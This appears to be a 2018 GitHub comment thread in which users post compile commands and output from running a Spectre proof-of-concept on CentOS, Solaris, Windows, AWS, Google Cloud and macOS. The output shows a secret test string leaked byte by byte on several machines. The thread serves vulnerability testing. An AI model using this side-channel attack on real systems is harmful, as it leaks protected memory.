Reading at malicious_x = FFFFDB2C... Success: 0x4D=ÆMÆ score=2
Reading at malicious_x = FFFFDB2D... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFFDB2E... Success: 0x67=ÆgÆ score=2
Reading at malicious_x = FFFFDB2F... Success: 0x69=ÆiÆ score=2
Reading at malicious_x = FFFFDB30... Success: 0x63=ÆcÆ score=2
Reading at malicious_x = FFFFDB31... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFFDB32... Success: 0x57=ÆWÆ score=2
Reading at malicious_x = FFFFDB33... Success: 0x6F=ÆoÆ score=2
Reading at malicious_x = FFFFDB34... Success: 0x72=ÆrÆ score=2
Reading at malicious_x = FFFFDB35... Success: 0x64=ÆdÆ score=2
Reading at malicious_x = FFFFDB36... Success: 0x73=ÆsÆ score=2
Reading at malicious_x = FFFFDB37... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFFDB38... Success: 0x61=ÆaÆ score=2
Reading at malicious_x = FFFFDB39... Success: 0x72=ÆrÆ score=2
Reading at malicious_x = FFFFDB3A... Success: 0x65=ÆeÆ score=2
Reading at malicious_x = FFFFDB3B... Success: 0x20=Æ Æ score=2
Reading at malicious_x = FFFFDB3C... Success: 0x53=ÆSÆ score=2
Reading at malicious_x = FFFFDB3D... Success: 0x71=ÆqÆ score=2
Reading at malicious_x = FFFFDB3E... Success: 0x75=ÆuÆ score=2
Reading at malicious_x = FFFFDB3F... Success: 0x65=ÆeÆ score=2

Does this script detect both spectre and meltdown?

faew commented Jan 4, 2018

CentOS 3.10.0-693.11.6.el7.x86_64
#define CACHE_HIT_THRESHOLD (80)

gcc --std=c99 spectre.c -o spectre
spectre.c: In function ‘main’:
spectre.c:136:51: warning: pointer/integer type mismatch in conditional expression [enabled by default]
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
^
cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 30
model name : Intel(R) Xeon(R) CPU X3440 @ 2.53GHz
./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb10... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffb11... Success: 0x68=’h’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdffb12... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb13... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb14... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffb15... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb16... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb17... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb18... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdffb19... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb1a... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffb1b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffb1c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb1d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdffb1e... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb1f... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb20... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb21... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb22... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb23... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb24... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffb25... Success: 0x71=’q’ score=3 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffb26... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffb27... Success: 0x65=’e’ score=1
Reading at malicious_x = 0xffffffffffdffb28... Success: 0x61=’a’ score=1
Reading at malicious_x = 0xffffffffffdffb29... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdffb2a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb2b... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb2c... Success: 0x68=’h’ score=1
Reading at malicious_x = 0xffffffffffdffb2d... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb2e... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffb2f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb30... Success: 0x73=’s’ score=1
Reading at malicious_x = 0xffffffffffdffb31... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb32... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffb33... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb34... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb35... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb36... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb37... Success: 0x2E=’.’ score=2

yvoinov commented Jan 4, 2018

Intel Xeon. Solaris 10 kernel Generic_150401-58

Threaded version (original gives core dump - illegal instruction)

gcc -std=c99 -o spectre spectre.c

./spectre

Reading 40 bytes:
Reading at malicious_x = fffefd0c... Unclear: 0x5B=[ score=994 (second best: 0xC7 score=985)
Reading at malicious_x = fffefd0d... Unclear: 0xA9=? score=997 (second best: 0xA5 score=997)
Reading at malicious_x = fffefd0e... Unclear: 0xA5=? score=993 (second best: 0xB4 score=991)
Reading at malicious_x = fffefd0f... Unclear: 0x5B=[ score=991 (second best: 0xA3 score=988)
Reading at malicious_x = fffefd10... Unclear: 0x63=c score=994 (second best: 0x5B score=990)
Reading at malicious_x = fffefd11... Unclear: 0xB4=? score=992 (second best: 0xA5 score=990)
Reading at malicious_x = fffefd12... Unclear: 0xA5=? score=992 (second best: 0xB4 score=991)
Reading at malicious_x = fffefd13... Unclear: 0xA5=? score=992 (second best: 0x63 score=992)
Reading at malicious_x = fffefd14... Unclear: 0xA5=? score=991 (second best: 0x6F score=991)
Reading at malicious_x = fffefd15... Unclear: 0x63=c score=993 (second best: 0xB4 score=990)
Reading at malicious_x = fffefd16... Unclear: 0xB4=? score=993 (second best: 0x5B score=990)
Reading at malicious_x = fffefd17... Unclear: 0xA5=? score=995 (second best: 0xBD score=990)
Reading at malicious_x = fffefd18... Unclear: 0x63=c score=995 (second best: 0xA5 score=991)
Reading at malicious_x = fffefd19... Unclear: 0x5B=[ score=991 (second best: 0x63 score=990)
Reading at malicious_x = fffefd1a... Unclear: 0x63=c score=991 (second best: 0x5B score=991)
Reading at malicious_x = fffefd1b... Unclear: 0x5B=[ score=992 (second best: 0x63 score=991)
Reading at malicious_x = fffefd1c... Unclear: 0x5B=[ score=993 (second best: 0x63 score=990)
Reading at malicious_x = fffefd1d... Unclear: 0x5B=[ score=997 (second best: 0xB4 score=994)
Reading at malicious_x = fffefd1e... Unclear: 0xBB=? score=991 (second best: 0x63 score=989)
Reading at malicious_x = fffefd1f... Unclear: 0x5B=[ score=998 (second best: 0x63 score=995)
Reading at malicious_x = fffefd20... Unclear: 0x5B=[ score=997 (second best: 0xA5 score=989)
Reading at malicious_x = fffefd21... Unclear: 0x63=c score=994 (second best: 0xA5 score=991)
Reading at malicious_x = fffefd22... Unclear: 0x5B=[ score=994 (second best: 0xA5 score=993)
Reading at malicious_x = fffefd23... Unclear: 0x63=c score=995 (second best: 0x5B score=993)
Reading at malicious_x = fffefd24... Unclear: 0x5B=[ score=995 (second best: 0xA5 score=994)
Reading at malicious_x = fffefd25... Unclear: 0xA5=? score=994 (second best: 0x63 score=994)
Reading at malicious_x = fffefd26... Unclear: 0x5B=[ score=994 (second best: 0x63 score=993)
Reading at malicious_x = fffefd27... Unclear: 0x63=c score=990 (second best: 0x5B score=990)
Reading at malicious_x = fffefd28... Unclear: 0xB4=? score=995 (second best: 0x63 score=995)
Reading at malicious_x = fffefd29... Unclear: 0xA5=? score=996 (second best: 0x63 score=996)
Reading at malicious_x = fffefd2a... Unclear: 0xA5=? score=989 (second best: 0xBD score=987)
Reading at malicious_x = fffefd2b... Unclear: 0x63=c score=992 (second best: 0x5B score=990)
Reading at malicious_x = fffefd2c... Unclear: 0xA5=? score=994 (second best: 0x63 score=994)
Reading at malicious_x = fffefd2d... Unclear: 0xA5=? score=985 (second best: 0x5B score=984)
Reading at malicious_x = fffefd2e... Unclear: 0xB4=? score=989 (second best: 0x5B score=970)
Reading at malicious_x = fffefd2f... Unclear: 0xB4=? score=984 (second best: 0xA5 score=984)
Reading at malicious_x = fffefd30... Unclear: 0xA5=? score=991 (second best: 0x63 score=991)
Reading at malicious_x = fffefd31... Unclear: 0xA5=? score=990 (second best: 0x6F score=989)
Reading at malicious_x = fffefd32... Unclear: 0xA5=? score=993 (second best: 0x5B score=990)
Reading at malicious_x = fffefd33... Unclear: 0x5B=[ score=994 (second best: 0xA5 score=990)
counter thread finished

yvoinov commented Jan 4, 2018

Solaris 10 kernel Generic_150401-58
Intel(R) Core(TM)2 Quad CPU Q8300

./spectre

Reading 40 bytes:
Reading at malicious_x = fffefd0c... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd0d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd0e... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd0f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd10... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd11... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd12... Unclear: 0xFE=’?’ score=999 (second best: 0xFA score=999)
Reading at malicious_x = fffefd13... Unclear: 0xFE=’?’ score=999 (second best: 0xF8 score=999)
Reading at malicious_x = fffefd14... Unclear: 0xF8=’?’ score=999 (second best: 0xF7 score=999)
Reading at malicious_x = fffefd15... Unclear: 0xFE=’?’ score=999 (second best: 0xFB score=999)
Reading at malicious_x = fffefd16... Unclear: 0xFF=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd17... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd18... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd19... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1a... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1e... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd1f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd20... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd21... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd22... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd23... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd24... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd25... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd26... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd27... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd28... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd29... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd2a... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd2b... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd2c... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd2d... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd2e... Unclear: 0xFE=’?’ score=999 (second best: 0xFD score=999)
Reading at malicious_x = fffefd2f... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd30... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd31... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd32... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
Reading at malicious_x = fffefd33... Unclear: 0xFF=’?’ score=999 (second best: 0xFE score=999)
counter thread finished

7r0 commented Jan 4, 2018

Win10 16299
Intel(R) Core(TM) i7-2630QM CPU @ 2.00GHz
MSVC: 1912

x86

> spectre.exe
Reading 40 bytes:
Reading at malicious_x = FFFFF0D8... Success: 0x54=’T’ score=2
Reading at malicious_x = FFFFF0D9... Success: 0x68=’h’ score=2
Reading at malicious_x = FFFFF0DA... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFF0DB... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFF0DC... Success: 0x4D=’M’ score=2
Reading at malicious_x = FFFFF0DD... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFF0DE... Success: 0x67=’g’ score=2
Reading at malicious_x = FFFFF0DF... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFF0E0... Success: 0x63=’c’ score=2
Reading at malicious_x = FFFFF0E1... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFF0E2... Success: 0x57=’W’ score=2
Reading at malicious_x = FFFFF0E3... Success: 0x6F=’o’ score=2
Reading at malicious_x = FFFFF0E4... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFF0E5... Success: 0x64=’d’ score=2
Reading at malicious_x = FFFFF0E6... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFF0E7... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFF0E8... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFF0E9... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFF0EA... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFF0EB... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFF0EC... Success: 0x53=’S’ score=2
Reading at malicious_x = FFFFF0ED... Success: 0x71=’q’ score=2
Reading at malicious_x = FFFFF0EE... Success: 0x75=’u’ score=2
Reading at malicious_x = FFFFF0EF... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFF0F0... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFF0F1... Success: 0x6D=’m’ score=2
Reading at malicious_x = FFFFF0F2... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFF0F3... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFF0F4... Success: 0x68=’h’ score=2
Reading at malicious_x = FFFFF0F5... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFF0F6... Success: 0x4F=’O’ score=2
Reading at malicious_x = FFFFF0F7... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFF0F8... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFF0F9... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFF0FA... Success: 0x66=’f’ score=2
Reading at malicious_x = FFFFF0FB... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFF0FC... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFF0FD... Success: 0x67=’g’ score=2
Reading at malicious_x = FFFFF0FE... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFF0FF... Success: 0x2E=’.’ score=2

x64

> spectre.exe
Reading 40 bytes:
Reading at malicious_x = FFFFFFFFFFFFF1D0... Success: 0x54=’T’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D1... Success: 0x68=’h’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D2... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D3... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D4... Success: 0x4D=’M’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D5... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D6... Success: 0x67=’g’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D7... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D8... Success: 0x63=’c’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1D9... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DA... Success: 0x57=’W’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DB... Success: 0x6F=’o’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DC... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DD... Success: 0x64=’d’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DE... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1DF... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E0... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E1... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E2... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E3... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E4... Success: 0x53=’S’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E5... Success: 0x71=’q’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E6... Success: 0x75=’u’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E7... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E8... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1E9... Success: 0x6D=’m’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1EA... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1EB... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1EC... Success: 0x68=’h’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1ED... Success: 0x20=’ ’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1EE... Success: 0x4F=’O’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1EF... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F0... Success: 0x73=’s’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F1... Success: 0x69=’i’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F2... Success: 0x66=’f’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F3... Success: 0x72=’r’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F4... Success: 0x61=’a’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F5... Success: 0x67=’g’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F6... Success: 0x65=’e’ score=2
Reading at malicious_x = FFFFFFFFFFFFF1F7... Success: 0x2E=’.’ score=2

7r0 commented Jan 4, 2018

AWS
Ubuntu 16.04.2 LTS

./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2

Google Cloud
Ubuntu 14.04.5 LTS

./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdffb08... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdffb09... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb0a... Success: 0x65=’e’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdffb0b... Success: 0x20=’ ’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdffb0c... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdffb0d... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb0e... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb0f... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb10... Success: 0x63=’c’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdffb11... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb12... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdffb13... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdffb14... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb15... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdffb16... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb17... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb18... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb19... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb1a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb1b... Success: 0x20=’ ’ score=7 (second best: 0x21 score=1)
Reading at malicious_x = 0xffffffffffdffb1c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdffb1d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdffb1e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdffb1f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb20... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb21... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdffb22... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb23... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb24... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdffb25... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdffb26... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdffb27... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb28... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdffb29... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdffb2a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdffb2b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdffb2c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdffb2d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdffb2e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdffb2f... Success: 0x2E=’.’ score=2

no success on mac osx 10.13.1
Intel(R) Core(TM) i7-5557U CPU @ 3.10GHz

jboger commented Jan 4, 2018

macos 10.13.2 (2,8 GHz Intel Core i7)

Reading 40 bytes:
Reading at malicious_x = 0xfffffffffffffeb6... Unclear: 0x54=’T’ score=999 (second best: 0x00 score=995)
Reading at malicious_x = 0xfffffffffffffeb7... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=999)
Reading at malicious_x = 0xfffffffffffffeb8... Unclear: 0x65=’e’ score=998 (second best: 0x00 score=995)
Reading at malicious_x = 0xfffffffffffffeb9... Unclear: 0x00=’�’ score=999 (second best: 0x20 score=998)
Reading at malicious_x = 0xfffffffffffffeba... Unclear: 0x4D=’M’ score=999 (second best: 0x00 score=999)
Reading at malicious_x = 0xfffffffffffffebb... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffebc... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=994)
Reading at malicious_x = 0xfffffffffffffebd... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=986)
Reading at malicious_x = 0xfffffffffffffebe... Unclear: 0x63=’c’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffebf... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=999)
Reading at malicious_x = 0xfffffffffffffec0... Unclear: 0x57=’W’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffec1... Unclear: 0x6F=’o’ score=998 (second best: 0x00 score=989)
Reading at malicious_x = 0xfffffffffffffec2... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=993)
Reading at malicious_x = 0xfffffffffffffec3... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=996)
Reading at malicious_x = 0xfffffffffffffec4... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=998)
Reading at malicious_x = 0xfffffffffffffec5... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffec6... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=996)
Reading at malicious_x = 0xfffffffffffffec7... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=996)
Reading at malicious_x = 0xfffffffffffffec8... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=996)
Reading at malicious_x = 0xfffffffffffffec9... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=998)
Reading at malicious_x = 0xfffffffffffffeca... Unclear: 0x53=’S’ score=999 (second best: 0x00 score=997)
Reading at malicious_x = 0xfffffffffffffecb... Unclear: 0x71=’q’ score=999 (second best: 0x00 score=998)
Reading at malicious_x = 0xfffffffffffffecc... Unclear: 0x75=’u’ score=999 (second best: 0x00 score=999)
Reading at malicious_x = 0xfffffffffffffecd... Unclear: 0x65=’e’ score=999 (second best: 0x00 score=993)
Reading at malicious_x = 0xfffffffffffffece... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=994)
Reading at malicious_x = 0xfffffffffffffecf... Unclear: 0x6D=’m’ score=999 (second best: 0x00 score=998)
Reading at malicious_x = 0xfffffffffffffed0... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=993)
Reading at malicious_x = 0xfffffffffffffed1... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=999)
